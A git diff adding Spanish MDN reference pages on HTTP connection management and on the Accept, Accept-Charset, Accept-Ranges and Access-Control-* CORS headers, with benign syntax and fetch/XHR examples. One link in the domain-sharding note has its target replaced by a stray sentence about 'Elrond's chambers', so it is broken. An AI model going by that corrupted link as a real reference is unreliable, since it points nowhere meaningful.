+ <li>HTTP Pipelining es complicado de implementar correctamente: el tamaño del recurso pedido, el correcto <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> que será utilizado, así como el ancho de banda efectivo, tienen un impacto directo en la en la mejora de rendimiento de este método. Sin conocer estos valores, puede que mensajes importantes, se vean retrasados, por mensajes que no lo son. El concepto de "importante" incluso cambia según se carga la maquetación (layout) de la página. De ahí que este método solamente presente una mejora marginal en la mayoría de los casos.  </li>
+ <li>HTTP Pipelining  presenta un problema conocido como <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> </li>
+</ul>
+
+<p>Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la <strong>multiplexación</strong>, que es el que usa HTTP/2.</p>
+</div>
+
+<p>Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es <em>vista</em> por el servidor.</p>
+
+<p>Pipelining es un proceso para enviar peticiones sucesivas, sobre la misma conexión persistente, sin esperar a la respuesta. Esto evita latencias en la conexión. En teoría, el rendimiento también podría mejorar si dos peticiones HTTP se empaquetaran en el mismo mensaje TCP. El MSS (Maximum Segment Size) típico, es suficientemente grande para contener varias peticiones simples, aunque la demanda de tamaño de las peticiones HTTP sigue creciendo.</p>
+
+<p>No todos los tipos de peticiones HTTP pueden ser utilizadas en pipeline: solo métodos {{glossary("idempotent")}} como {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} and {{HTTPMethod("DELETE")}} pueden ser repetidos sin incidencias. Si ocurre un fallo, el contenido se puede simplemente reenviar.</p>
+
+<p>Hoy en día, todo proxy y servidor que cumpla con HTTP/1.1 debería dar soporte a pipelining, aunque en práctica tenga muchas limitaciones. Por esta razón, ningún explorador moderno lo activa por defecto.</p>
+
+<h2 id="Domain_sharding">Domain sharding</h2>
+
+<div class="note">
+<p>Unless you have a very specific immediate need, don't use this deprecated technique; switch to HTTP/2 instead. In HTTP/2, domain sharding is no more useful: the HTTP/2 connection is able to handle parallel unprioritized requests very well. Domain sharding is even detrimental to performance. Most HTTP/2 implementation use a technique called <a href="I wonder if it's related to the nobash/nobreak/nopick secret exit s of Elrond's chambers.">connection coalescing</a> to revert eventual domain sharding.</p>
+</div>
+
+<p>As an HTTP/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. As a solution, browsers open several connections to each domain, sending parallel requests. Default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. There is a risk of triggering <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> protection on the server side if attempting more than this number.</p>
+
+<p>If  the server wishes a faster Web site or application response, it is possible for the server to force the opening of more connections. For example, Instead of having all resources on the same domain, say <code>www.example.com</code>, it could split over several domains, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Each of these domains resolve to the <em>same</em> server, and the Web browser will open 6 connections to each (in our example, boosting the connections to 18). This technique is called <em>domain sharding</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Las mejoras en la gestión de las conexiones, han significado un considerable aumento en el rendimiento del protocolo HTTP. Con HTTP/1.1 o HTTP/1.0, el uso de una conexión persistente - al menos hasta que que no necesite transmitir más datos- resulta en un significativo aumento en el rendimiento de la comunicación. Incluso, el fracaso de. método de pipelining, ha resultado en el diseño de modelos superiores para la gestión de la conexión, todo lo cual se ha incorporado en HTTP/2. </p>
diff --git a/files/es/web/http/headers/accept-charset/index.html b/files/es/web/http/headers/accept-charset/index.html
new file mode 100644
index 0000000000..a6a5f9c6c8
--- /dev/null
+++ b/files/es/web/http/headers/accept-charset/index.html
@@ -0,0 +1,85 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Headers/Accept-Charset
+tags:
+  - Negociación de Contenido
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The <strong><code>Accept-Charset</code></strong> request HTTP header advertises which character set the client is able to understand. Using <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, the server then selects one of the proposals, uses it and informs the client of its choice within the {{HTTPHeader("Content-Type")}} response header. Browsers usually don't set this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting.</p>
+
+<p>If the server cannot serve any matching character set, it can theoretically send back a {{HTTPStatus("406")}} (Not Acceptable) error code. But, for a better user experience, this is rarely done and the more common way is to ignore the <code>Accept-Charset</code> header in this case.</p>
+
+<div class="note">
+<p>In early versions of HTTP/1.1, a default charset (<code>ISO-8859-1</code>) was defined. This is no more the case and now each content type may have its own default.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Accept-Charset: &lt;charset&gt;
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd>Un conjunto de caracteres como <code>utf-8</code> o <code>iso-8859-15.</code></dd>
+ <dt><code>*</code></dt>
+ <dd>Any charset not mentioned elsewhere in the header; <code>'*'</code> being used as a wildcard.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Any value is placed in an order of preference expressed using a relative <a href="/en-US/docs/Glossary/Quality_values">quality value</a> called the <em>weight</em>.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La compatibilidad de la tabla en esta página es generada de una data estructurada. Si quieres contribuir con la Data, por favor revisa: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos tu solicitud.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<h2 id="También_puedes_revisar">También puedes revisar:</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Encabezados conlos resultados de la negociación de contenido: {{HTTPHeader("Content-Type")}}</li>
+ <li>Otros encabezados similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/accept-ranges/index.html b/files/es/web/http/headers/accept-ranges/index.html
new file mode 100644
index 0000000000..30b447504b
--- /dev/null
+++ b/files/es/web/http/headers/accept-ranges/index.html
@@ -0,0 +1,70 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Headers/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<p>El encabezado de respuesta HTTP <code><strong>Accept-Ranges</strong></code> es un marcador usado por el servidor para notificar que soporta solicitudes parciales. El valor de este campo indica la unidad que puede ser usada para definir el rango.</p>
+
+<p>En caso de estar presente un encabezado de respuesta <code>Accept-Ranges</code>, el navegador puede intentar restablecer una descarga interrumpida, en vez de reiniciarla o comenzarla desde el principio.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>No indicar la unidad de medida del rango no está soportado, esto hace que el encabezado sea tomado como ausente, y por lo tanto es usado raramente, aunque algunos exploradores , como IE9, esto es usado para inhabilitar o remover el botón de pausa en el administrador de descargas.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>La unidad de medida del rango es bytes.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/accept-ranges")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/accept/index.html b/files/es/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..7311f2498f
--- /dev/null
+++ b/files/es/web/http/headers/accept/index.html
@@ -0,0 +1,99 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+tags:
+  - Cabecera HTTP
+  - Cabecera de Pedido
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><font face="Open Sans, arial, sans-serif">La cabecera de pedido </font><strong>Accept</strong></code> anuncia que tipo de contenido el cliente puede procesar, expresado como un tipo <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>. Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>, el servidor selecciona una de las propuestas , la utiliza e informa al cliente de la elección a través de  la cabecera de respuesta {{HTTPHeader("Content-Type")}} .</p>
+
+<p>Los navegadores configuran los valores adecuados en dependencia del contexto donde se ha hecho el pedido, por ejemplo: al solicitar una hoja de estilos CSS es configurado un valor diferente que cuando se solicita una imagen, un video o un script.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Cabecera</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Multiples tipos, priorizados con {{glossary("quality values", "quality value")}} sintaxis:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>Un único y preciso tipo <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>, como <code>text/html</code>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>Un tipo MIME, pero con cualquier subtipo.</dd>
+ <dd>Por ejmplo, image/* comincide con:
+ <ul>
+  <li>image/png</li>
+  <li>image/svg</li>
+  <li>image/gif<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+ <dt><code>*/*</code></dt>
+ <dd>Culaquier tipo MIME</dd>
+ <dt><code>;q=</code> (donde <em>q</em> es la importancia o peso)</dt>
+ <dd>Culaquier valor es colocado en orden de preferencia, expresada usando un <a href="/en-US/docs/Glossary/Quality_values">valor de calidad</a> llamado <em>weight</em> (<em>peso</em> en español).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quieres contribuir con los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envía un pull request.</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="Tambien_Ver">Tambien Ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociación de Contenido HTTP</a></li>
+ <li>Cabecera con el resultado de la negociación de contenido: {{HTTPHeader("Content-Type")}}</li>
+ <li>Otras cabeceras similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-credentials/index.html b/files/es/web/http/headers/access-control-allow-credentials/index.html
new file mode 100644
index 0000000000..1b01c6d9ac
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-credentials/index.html
@@ -0,0 +1,99 @@
+---
+title: Access-Control-Allow-Credentials
+slug: Web/HTTP/Headers/Access-Control-Allow-Credentials
+tags:
+  - Access-Control-Allow-Credencials
+  - CORS
+  - HTTP
+  - Referencia
+  - credenciales
+  - encabezado
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Access-Control-Allow-Credentials</code></strong> le dice al navegador si exponer la respuesta al código JavaScript (del frontend) cuando el modo credenciales en la petición es incluído.</p>
+
+<p>Cuando las credenciales de una petición ({{domxref("Request.credentials")}}) es <code>include</code>, los navegadores sólo expondran la respuesta al código JavaScript del frontend si el valor de <code>Access-Control-Allow-Credentials</code> es <code>true</code>.</p>
+
+<p>Las credenciales son cookies, encabezados de autorización o certíficados de cliente TLS.</p>
+
+<p>Cuando se usa como parte de una respueste a una petición previa, indica si la petición real puede ser hecha utilizando credenciales. Note que peticiones {{HTTPMethod("GET")}} sencillas no tienen una solicitud previa, y por lo tanto, una petición es hecha por un recurso con credenciales, si el encabezado no regresa con el recurso, la respuesta es ignorada por el navegador y no es devuelto como contenido web.</p>
+
+<p>El encabezado <code>Access-Control-Allow-Credentials</code> trabaja en conjunción con la propiedad {{domxref("XMLHttpRequest.withCredentials")}} o con la opción <code>credentials</code> en el constructor {{domxref("Request.Request()", "Request()")}}  de la API Fetch. Para una petición CORS con credenciales, para que el navegador exponga la respuesta al código JavaScript del fronend, tanto el servidor (utilizando el encabezado <code>Access-Control-Allow-Credentials</code>) y el cliente (al configurar el modo de las credenciales para peticiones XHR, Fetch, o Ajax) se debe indicar que estan permitiendo la inclusión de credenciales.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>true</dt>
+ <dd>El único valor válido para este encabezado es <code>true</code> (en minúsculas). Si no se necesitan credenciales, se debe omitir este encabezado (en lugar de colocar su valor como <code>false</code>).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Permitir credenciales:</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true</pre>
+
+<p>Utilizando <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> con credenciales:</p>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<p>Utilizando <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> con credenciales:</p>
+
+<pre class="brush: js notranslate">fetch(url, {
+  credentials: 'include'
+})</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especifiación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest.withCredentials")}}</li>
+ <li>{{domxref("Request.Request()", "Request()")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-headers/index.html b/files/es/web/http/headers/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..616007cab2
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-headers/index.html
@@ -0,0 +1,93 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Headers/Access-Control-Allow-Headers
+tags:
+  - CORS
+  - encabezado
+  - encabezado HTTP
+  - header
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Access-Control-Allow-Headers</code></strong> es usado en la respuesta  a una {{glossary("preflight request", "solicitud preflight")}} para indicar cuáles encabezados HTTP pueden ser usados durante dicha solicitud.</p>
+
+<p>Los {{glossary("simple header", "encabezados simples")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (pero sólo con un tipo MIME de sus valores analizados (ignorando los parámetros) de cualquier <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, o <code>text/plain</code>), siempre están disponibles y no necesitan ser incluidos por este encabezado.</p>
+
+<p>Este encabezado es necesario si la solicitud tiene un encabezado {{HTTPHeader("Access-Control-Request-Headers")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Encabezado de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: &lt;nombre-de-encabezado&gt;, &lt;nombre-de-encabezado&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;nombre-de-encabezado&gt;</dt>
+ <dd>Lista de los encabezados soportados separados por una coma.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>El carácter comodín (*) que es mencionado en la última especificación, todavía no está implementado en los navegadores:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+   <li>WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165508">Issue 165508</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-methods/index.html b/files/es/web/http/headers/access-control-allow-methods/index.html
new file mode 100644
index 0000000000..062ed99783
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-methods/index.html
@@ -0,0 +1,81 @@
+---
+title: Access-Control-Allow-Methods
+slug: Web/HTTP/Headers/Access-Control-Allow-Methods
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de respuesta <strong><code>Access-Control-Allow-Methods</code></strong> especifica el método o los métodos aceptados cuando se accede al recurso en respuesta de un {{glossary("preflight request")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Methods: &lt;method&gt;, &lt;method&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;método&gt;</dt>
+ <dd>Comma-delimited list of the allowed <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>The wildcard value (*) that is mentioned in the latest specification, is not yet implemented in browsers:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-origin/index.html b/files/es/web/http/headers/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..e3fed487a2
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-origin/index.html
@@ -0,0 +1,99 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Headers/Access-Control-Allow-Origin
+tags:
+  - Access Control
+  - Access-Control-Allow-Origin
+  - CORS
+  - HTTP
+  - Lidiando con CORS
+  - Origen
+  - Referencia
+  - Seguridad
+  - encabezado HTTP
+  - error cross-origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <code><strong>Access-Control-Allow-Origin</strong></code> indica si los recursos de la respuesta pueden ser compartidos con el {{glossary("origin", "origen")}} dado.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Encabezado de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origen&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd>Para las peticiones <em>sin credenciales</em>, el servidor puede especificar el caracter "*" como un comodín, permitiendo a cualquier origen acceder al recurso. El acceso será permitido solamente para las peticiones hechas con el atributo {{htmlattrxref("crossorigin")}} definido como <code>"anonymous"</code>. Intentar usar el comodín con credenciales <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">resultará en un error</a>.</dd>
+ <br>
+ <dt><code>&lt;origen&gt;</code></dt>
+ <dd>Especifica que origen puede acceder al recurso. Sólo se puede especificar un origen.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para permitir a cualquier origen el acceso a tus recursos, puedes especificar:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<p>Una respuesta que le dice al navegador que permita la petición de código del origen <code>https://developer.mozilla.org</code> para acceder a los recursos que incluyan lo siguiente:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>Limitando los posibles valores <code>Access-Control-Allow-Origin</code> de un conjunto de orígenes permitidos requiere código del lado del servidor para revisar el valor de la encabezado de petición {{HTTPHeader("Origin")}}, comparan con la lista de valores permitidos, y entonces si el valor {{HTTPHeader("Origin")}} se encuentra en la lista, para definir el valor de <code>Access-Control-Allow-Origin</code> al mismo valor que {{HTTPHeader("Origin")}}.</p>
+
+<h3 id="CORS_y_caché">CORS y caché</h3>
+
+<p>Si el servidor envía una respuesta con un valor <code>Access-Control-Allow-Origin</code> que es un origen explícito (en lugar del comodín "<code>*</code>"), entonces a respuesta debería incluir también el encabezado de respuesta {{HTTPHeader("Vary")}} con el valor <code>origin</code> - para indicar a los navegadores que las respuestas del servidor pueden diferir basadas en el valor del encabezado de respueta <code>Origin</code>.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h2>
+
